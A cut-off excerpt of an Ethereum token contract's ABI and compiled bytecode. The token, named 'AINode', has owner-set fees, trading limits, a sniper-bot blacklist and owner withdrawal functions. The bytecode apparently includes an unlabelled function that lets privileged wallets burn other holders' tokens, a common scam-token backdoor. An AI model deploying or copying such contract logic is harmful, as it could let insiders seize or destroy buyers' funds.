Type":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"sniperBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sniperBuyerCatch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600e819055600f556012805462ffffff60a01b1916600160a01b1790553480156200003057600080fd5b506040518060400160405280600681526020016541494e6f646560d01b815250604051806040016040528060048152602001631052539160e21b81525081600390816200007e9190620008d2565b5060046200008d8282620008d2565b5050506000620000a2620004ca60201b60201c565b600580546001600160a01b0319166001600160a01b03831690811790915560405191925090600090600080516020620040dd833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa15801562000149573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016f91906200099e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e391906200099e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025791906200099e565b600a80546001600160a01b0319166001600160a01b0392909216918217905562000283906001620004ce565b600a546200029c906001600160a01b0316600162000531565b601780546001600160a01b0319166001600160a01b0384161790556b0cecb8f27f4200f3a00000006064620002d3826003620009e6565b620002df919062000a06565b6006556064620002f1826002620009e6565b620002fd919062000a06565b60075560646200030f826002620009e6565b6200031b919062000a06565b6008556127106200032e826002620009e6565b6200033a919062000a06565b600b55600160158190556000601681905560036018819055601982905590916200036690839062000a29565b62000372919062000a29565b6200037e919062000a29565b6014556003601b8190556000601c8190556001601d819055601e8290559091620003aa90839062000a29565b620003b6919062000a29565b620003c2919062000a29565b601a55600c80546001600160a01b0319908116734d3aa10917657e790b3b9a1663b58e95935d805317909155600d8054909116735837bd97b8d84c5525973e28bf88ac9aeea4b5eb1790556200041a836001620004ce565b62000427306001620004ce565b600c5462000440906001600160a01b03166001620004ce565b6200044f61dead6001620004ce565b6200045c8360016200059d565b620004693060016200059d565b6200047861dead60016200059d565b600c5462000491906001600160a01b031660016200059d565b600d54620004aa906001600160a01b031660016200059d565b620004b683826200064b565b620004c18362000730565b50505062000a3f565b3390565b6001600160a01b038216600081815260246020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152602560205260409020805460ff1916821515179055620005618282620004ce565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005ec5760405162461bcd60e51b81526020600482018190526024820152600080516020620040bd83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260236020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006a35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005e3565b8060026000828254620006b7919062000a29565b90915550506001600160a01b03821660009081526020819052604081208054839290620006e690849062000a29565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b031633146200077b5760405162461bcd60e51b81526020600482018190526024820152600080516020620040bd8339815191526044820152606401620005e3565b6001600160a01b038116620007e25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005e3565b6005546040516001600160a01b03808416921690600080516020620040dd83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200085857607f821691505b6020821081036200087957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008cd57600081815260208120601f850160051c81016020861015620008a85750805b601f850160051c820191505b81811015620008c957828155600101620008b4565b5050505b505050565b81516001600160401b03811115620008ee57620008ee6200082d565b6200090681620008ff845462000843565b846200087f565b602080601f8311600181146200093e5760008415620009255750858301515b600019600386901b1c1916600185901b178555620008c9565b600085815260208120601f198616915b828110156200096f578886015182559484019460019091019084016200094e565b50858210156200098e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009b157600080fd5b81516001600160a01b0381168114620009c957600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000a005762000a00620009d0565b92915050565b60008262000a2457634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000a005762000a00620009d0565b61366e8062000a4f6000396000f3fe6080604052600436106103d25760003560e01c806388e765ff116101fd578063c18bc19511610118578063e71dc3f5116100ab578063f11a24d31161007a578063f11a24d314610aff578063f2fde38b14610b15578063f5648a4f14610b35578063f637434214610b4a578063f7260d3e14610b6057600080fd5b8063e71dc3f514610a83578063e7ad9fcd14610a99578063e900639414610ab9578063ee40166e14610ae957600080fd5b8063dc3f0d0f116100e7578063dc3f0d0f146109f1578063dd62ed3e14610a11578063e2f4560514610a57578063e611bfdb14610a6d57600080fd5b8063c18bc1951461097b578063c5b45ec01461099b578063d257b34f146109bb578063d85ba063146109db57600080fd5b8063a457c2d711610190578063adb873bd1161015f578063adb873bd146108f4578063b62496f51461090a578063bbc0c7421461093a578063c02466681461095b57600080fd5b8063a457c2d71461087e578063a5ece9411461089e578063a9059cbb146108be578063aa4bde28146108de57600080fd5b80639a7a23d6116101cc5780639a7a23d61461081c5780639c3b4fdc1461083c5780639fccce3214610852578063a0d82dc51461086857600080fd5b806388e765ff146107bd5780638da5cb5b146107d357806392136913146107f157806395d89b411461080757600080fd5b80634a62bb65116102ed578063715018a611610280578063808a54571161024f578063808a5457146107365780638366e79a1461075657806383a8f1ac14610776578063882c3d981461078d57600080fd5b8063715018a6146106d6578063751039fc146106eb5780637571336a146107005780637bce5a041461072057600080fd5b80636a486a8e116102bc5780636a486a8e146106695780636b0a894c1461067f5780636ddd17131461069557806370a08231146106b657600080fd5b80634a62bb65146105f25780634b84e0e3146106135780636220a12f1461063357806366d602ae1461065357600080fd5b80631f3fed8f116103655780632e6ed7ef116103345780632e6ed7ef14610576578063313ce5671461059657806339509351146105b25780633ad10ef6146105d257600080fd5b80631f3fed8f1461050b57806323b872dd14610521578063293230b8146105415780632be32b611461055657600080fd5b806318160ddd116103a157806318160ddd146104935780631a8145bb146104b25780631cf512ad146104c85780631d777856146104f557600080fd5b806306fdde03146103de5780630758d92414610409578063095ea7b3146104415780630a83d96b1461047157600080fd5b366103d957005b600080fd5b3480156103ea57600080fd5b506103f3610b80565b604051610400919061320d565b60405180910390f35b34801561041557600080fd5b50600954610429906001600160a01b031681565b6040516001600160a01b039091168152602001610400565b34801561044d57600080fd5b5061046161045c366004613273565b610c12565b6040519015158152602001610400565b34801561047d57600080fd5b5061049161048c366004613273565b610c29565b005b34801561049f57600080fd5b506002545b604051908152602001610400565b3480156104be57600080fd5b506104a460205481565b3480156104d457600080fd5b506104a46104e336600461329f565b60136020526000908152604090205481565b34801561050157600080fd5b506104a460225481565b34801561051757600080fd5b506104a4601f5481565b34801561052d57600080fd5b5061046161053c3660046132c3565b610d20565b34801561054d57600080fd5b50610491610dca565b34801561056257600080fd5b50610491610571366004613304565b610e92565b34801561058257600080fd5b5061049161059136600461331d565b610f9f565b3480156105a257600080fd5b5060405160128152602001610400565b3480156105be57600080fd5b506104616105cd366004613273565b611041565b3480156105de57600080fd5b50600d54610429906001600160a01b031681565b3480156105fe57600080fd5b5060125461046190600160a01b900460ff1681565b34801561061f57600080fd5b5061049161062e36600461329f565b61107d565b34801561063f57600080fd5b5061049161064e36600461329f565b61111f565b34801561065f57600080fd5b506104a460075481565b34801561067557600080fd5b506104a4601a5481565b34801561068b57600080fd5b506104a460115481565b3480156106a157600080fd5b5060125461046190600160b01b900460ff1681565b3480156106c257600080fd5b506104a46106d136600461329f565b6111cf565b3480156106e257600080fd5b506104916111ea565b3480156106f757600080fd5b5061049161125e565b34801561070c57600080fd5b5061049161071b36600461335d565b6112c0565b34801561072c57600080fd5b506104a460155481565b34801561074257600080fd5b50600a54610429906001600160a01b031681565b34801561076257600080fd5b50610461610771366004613396565b611388565b34801561078257600080fd5b50600f544310610461565b34801561079957600080fd5b506104616107a836600461329f565b60246020526000908152604090205460ff1681565b3480156107c957600080fd5b506104a460065481565b3480156107df57600080fd5b506005546001600160a01b0316610429565b3480156107fd57600080fd5b506104a4601b5481565b34801561081357600080fd5b506103f3611591565b34801561082857600080fd5b5061049161083736600461335d565b6115a0565b34801561084857600080fd5b506104a460185481565b34801561085e57600080fd5b506104a460215481565b34801561087457600080fd5b506104a4601d5481565b34801561088a57600080fd5b50610461610899366004613273565b611694565b3480156108aa57600080fd5b50600c54610429906001600160a01b031681565b3480156108ca57600080fd5b506104616108d9366004613273565b61172d565b3480156108ea57600080fd5b506104a460085481565b34801561090057600080fd5b506104a4601e5481565b34801561091657600080fd5b5061046161092536600461329f565b60256020526000908152604090205460ff1681565b34801561094657600080fd5b5060125461046190600160a81b900460ff1681565b34801561096757600080fd5b5061049161097636600461335d565b61173a565b34801561098757600080fd5b50610491610996366004613304565b6117c3565b3480156109a757600080fd5b506104916109b636600461329f565b6118cc565b3480156109c757600080fd5b506104916109d6366004613304565b611917565b3480156109e757600080fd5b506104a460145481565b3480156109fd57600080fd5b50610491610a0c366004613304565b611a62565b348015610a1d57600080fd5b506104a4610a2c366004613396565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a6357600080fd5b506104a4600b5481565b348015610a7957600080fd5b506104a4600f5481565b348015610a8f57600080fd5b506104a460195481565b348015610aa557600080fd5b50610491610ab436600461331d565b611b69565b348015610ac557600080fd5b50610461610ad436600461329f565b60106020526000908152604090205460ff1681565b348015610af557600080fd5b506104a4600e5481565b348015610b0b57600080fd5b506104a460165481565b348015610b2157600080fd5b50610491610b3036600461329f565b611c05565b348015610b4157600080fd5b50610491611cf0565b348015610b5657600080fd5b506104a4601c5481565b348015610b6c57600080fd5b50601254610429906001600160a01b031681565b606060038054610b8f906133c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbb906133c4565b8015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b5050505050905090565b6000610c1f338484611d5c565b5060015b92915050565b600b54610c35306111cf565b1015610cb0576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e60648201526084015b60405180910390fd5b610cba8282611e81565b15610d1c57600a805460ff60a01b1916600160a01b179055610cda611fa0565b600a805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb32906020015b60405180910390a15b5050565b6000610d2d8484846121a8565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610db25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ca7565b610dbf8533858403611d5c565b506001949350505050565b6005546001600160a01b03163314610df45760405162461bcd60e51b8152600401610ca7906133fe565b601254600160a81b900460ff1615610e4e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610ca7565b6012805461ffff60a81b191661010160a81b17905543600e556040517fbf6a1c0d2669c1534a4b018edab32445ffb4f4e914517f62fb885949552d7e3490600090a1565b6005546001600160a01b03163314610ebc5760405162461bcd60e51b8152600401610ca7906133fe565b670de0b6b3a76400006103e8610ed160025490565b610edc906002613449565b610ee69190613460565b610ef09190613460565b811015610f515760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610ca7565b610f6381670de0b6b3a7640000613449565b60068190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610fc95760405162461bcd60e51b8152600401610ca7906133fe565b60158490556016839055601882905560198190558082610fe98587613482565b610ff39190613482565b610ffd9190613482565b60148190556004101561103b5760405162461bcd60e51b81526020600482015260066024820152650684a40dac2f60d31b6044820152606401610ca7565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610c1f918590611078908690613482565b611d5c565b6005546001600160a01b031633146110a75760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b0381166110fd5760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610ca7565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111495760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b0381166111ad5760405162461bcd60e51b815260206004820152602560248201527f5f6d61726b6574696e674164647265737320616464726573732063616e6e6f74604482015264020626520360dc1b6064820152608401610ca7565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146112145760405162461bcd60e51b8152600401610ca7906133fe565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146112885760405162461bcd60e51b8152600401610ca7906133fe565b6012805460ff60a01b191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146112ea5760405162461bcd60e51b8152600401610ca7906133fe565b8061135d57600a546001600160a01b039081169083160361135d5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610ca7565b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6005546000906001600160a01b031633146113b55760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b03831661140b5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610ca7565b306001600160a01b038416036114635760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610ca7565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156114aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ce9190613495565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af1158015611521573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154591906134ae565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b606060048054610b8f906133c4565b6005546001600160a01b031633146115ca5760405162461bcd60e51b8152600401610ca7906133fe565b600a546001600160a01b039081169083160361164e5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ca7565b6116588282612c5b565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156117165760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ca7565b6117233385858403611d5c565b5060019392505050565b6000610c1f3384846121a8565b6005546001600160a01b031633146117645760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b038216600081815260236020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146117ed5760405162461bcd60e51b8152600401610ca7906133fe565b670de0b6b3a76400006103e861180260025490565b61180d906003613449565b6118179190613460565b6118219190613460565b8110156118855760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610ca7565b61189781670de0b6b3a7640000613449565b60088190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610f94565b6005546001600160a01b031633146118f65760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6005546001600160a01b031633146119415760405162461bcd60e51b8152600401610ca7906133fe565b620186a061194e60025490565b611959906001613449565b6119639190613460565b8110156119d05760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ca7565b6103e86119dc60025490565b6119e7906001613449565b6119f19190613460565b811115611a5d5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610ca7565b600b55565b6005546001600160a01b03163314611a8c5760405162461bcd60e51b8152600401610ca7906133fe565b670de0b6b3a76400006103e8611aa160025490565b611aac906002613449565b611ab69190613460565b611ac09190613460565b811015611b225760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610ca7565b611b3481670de0b6b3a7640000613449565b60078190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f94565b6005546001600160a01b03163314611b935760405162461bcd60e51b8152600401610ca7906133fe565b601b849055601c839055601d829055601e8190558082611bb38587613482565b611bbd9190613482565b611bc79190613482565b601a8190556004101561103b5760405162461bcd60e51b81526020600482015260066024820152650684a40dac2f60d31b6044820152606401610ca7565b6005546001600160a01b03163314611c2f5760405162461bcd60e51b8152600401610ca7906133fe565b6001600160a01b038116611c945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ca7565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611d1a5760405162461bcd60e51b8152600401610ca7906133fe565b604051600090339047908381818185875af1925050503d806000811461103b576040519150601f19603f3d011682016040523d82523d6000602084013e61103b565b6001600160a01b038316611dbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca7565b6001600160a01b038216611e1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca7565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33600090815260236020526040812054819060ff16611f4b576000602254118015611eb65750602254611eb3306111cf565b10155b15611ec757611ec733602254612c89565b5060006022819055600190611edb306111cf565b90506000602154601f54602054611ef29190613482565b611efc9190613482565b9050811580611f09575080155b15611f1a5760009350505050610c23565b600b54611f28906007613449565b821115611f4057600b54611f3d906007613449565b91505b829350505050610c23565b6000611f56306111cf565b1115611f955782600003611f875750601780546001600160a01b0319166001600160a01b0385161790556000611f95565b611f918484612c89565b5060005b6000611edb306111cf565b6000602254118015611fbc5750602254611fb9306111cf565b10155b15611fcd57611fcd30602254612c89565b60006022819055611fdd306111cf565b90506000602154601f54602054611ff49190613482565b611ffe9190613482565b905081158061200b575080155b15612014575050565b600b54612022906005613449565b82111561203a57600b54612037906005613449565b91505b60006002826020548561204d9190613449565b6120579190613460565b6120619190613460565b905061207561207082856134cb565b612db3565b6020544790819060009061208b90600290613460565b61209590866134cb565b601f546120a29085613449565b6120ac9190613460565b9050600060026020546120bf9190613460565b6120c990876134cb565b6021546120d69086613449565b6120e09190613460565b90506120ec8183613482565b6120f690846134cb565b60006020819055601f81905560218190556022559250841580159061211b5750600083115b1561212a5761212a8584612faa565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612164573d6000803e3d6000fd5b50600c546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561219e573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0383166121ce5760405162461bcd60e51b8152600401610ca7906134de565b6001600160a01b0382166121f45760405162461bcd60e51b8152600401610ca790613523565b600081116122445760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610ca7565b601254600160a81b900460ff166122d9576001600160a01b03831660009081526023602052604090205460ff168061229457506001600160a01b03821660009081526023602052604090205460ff165b6122d95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ca7565b600f5415612381576001600160a01b03831660009081526010602052604090205460ff16158061231657506005546001600160a01b038381169116145b8061232b57506001600160a01b03821661dead145b6123815760405162461bcd60e51b815260206004820152602160248201527f626f742070726f74656374696f6e20666561747572652069732072756e6e696e6044820152606760f81b6064820152608401610ca7565b601254600160a01b900460ff1615612670576005546001600160a01b038481169116148015906123bf57506005546001600160a01b03838116911614155b80156123d357506001600160a01b03821615155b80156123ea57506001600160a01b03821661dead14155b801561240f57506001600160a01b03831660009081526023602052604090205460ff16155b801561243457506001600160a01b03821660009081526023602052604090205460ff16155b15612670576001600160a01b03831660009081526025602052604090205460ff16801561247a57506001600160a01b03821660009081526024602052604090205460ff16155b15612546576006548111156124e25760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610ca7565b6008546124ee836111cf565b6124f89083613482565b11156125415760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610ca7565b612670565b6001600160a01b03821660009081526025602052604090205460ff16801561258757506001600160a01b03831660009081526024602052604090205460ff16155b156125f1576007548111156125415760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610ca7565b6001600160a01b03821660009081526024602052604090205460ff166126705760085461261d836111cf565b6126279083613482565b11156126705760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610ca7565b600061267b306111cf565b6001600160a01b03851660009081526025602052604090205490915060ff161580156126b15750600a54600160a01b900460ff16155b156126d257601280546001600160a01b0319166001600160a01b0386161790555b600b54811080159081906126ef5750601254600160b01b900460ff165b80156127055750600a54600160a01b900460ff16155b801561272a57506001600160a01b03851660009081526025602052604090205460ff16155b801561274f57506001600160a01b03851660009081526023602052604090205460ff16155b801561277457506001600160a01b03841660009081526023602052604090205460ff16155b156127a257600a805460ff60a01b1916600160a01b179055612794611fa0565b600a805460ff60a01b191690555b6001600160a01b03851660009081526023602052604090205460019060ff16806127e457506001600160a01b03851660009081526023602052604090205460ff165b156127ed575060005b6001600160a01b03861660009081526025602052604090205460ff16801561282b57506001600160a01b038516600090815260136020526040902054155b1561284c576001600160a01b03851660009081526013602052604090204290555b60008115612c4757600f544310801561287d57506001600160a01b03871660009081526025602052604090205460ff165b80156128a257506001600160a01b03861660009081526025602052604090205460ff16155b80156128b057506000601454115b15612a30576001600160a01b03861660009081526010602052604090205460ff16612950576001600160a01b0386166000908152601060205260408120805460ff19166001908117909155601180549192909161290e908490613482565b90915550506040516001600160a01b03871681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b606461295d866063613449565b6129679190613460565b90506014546016548261297a9190613449565b6129849190613460565b602060008282546129959190613482565b90915550506014546015546129aa9083613449565b6129b49190613460565b601f60008282546129c59190613482565b90915550506014546018546129da9083613449565b6129e49190613460565b602160008282546129f59190613482565b9091555050601454601954612a0a9083613449565b612a149190613460565b60226000828254612a259190613482565b90915550612c299050565b6001600160a01b03861660009081526025602052604090205460ff168015612a5a57506000601a54115b15612b1c576064601a5486612a6f9190613449565b612a799190613460565b9050601a54601c5482612a8c9190613449565b612a969190613460565b60206000828254612aa79190613482565b9091555050601a54601b54612abc9083613449565b612ac69190613460565b601f6000828254612ad79190613482565b9091555050601a54601d54612aec9083613449565b612af69190613460565b60216000828254612b079190613482565b9091555050601a54601e54612a0a9083613449565b6001600160a01b03871660009081526025602052604090205460ff168015612b4657506000601454115b15612c2957606460145486612b5b9190613449565b612b659190613460565b905060145460165482612b789190613449565b612b829190613460565b60206000828254612b939190613482565b9091555050601454601554612ba89083613449565b612bb29190613460565b601f6000828254612bc39190613482565b9091555050601454601854612bd89083613449565b612be29190613460565b60216000828254612bf39190613482565b9091555050601454601954612c089083613449565b612c129190613460565b60226000828254612c239190613482565b90915550505b8015612c3a57612c3a87308361305c565b612c4481866134cb565b94505b612c5287878761305c565b50505050505050565b6001600160a01b0382166000908152602560205260409020805460ff191682151517905561165882826131b1565b6001600160a01b038216612ce95760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610ca7565b6001600160a01b03821660009081526020819052604090205481811015612d5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610ca7565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611e74565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110612dec57612dec613566565b6001600160a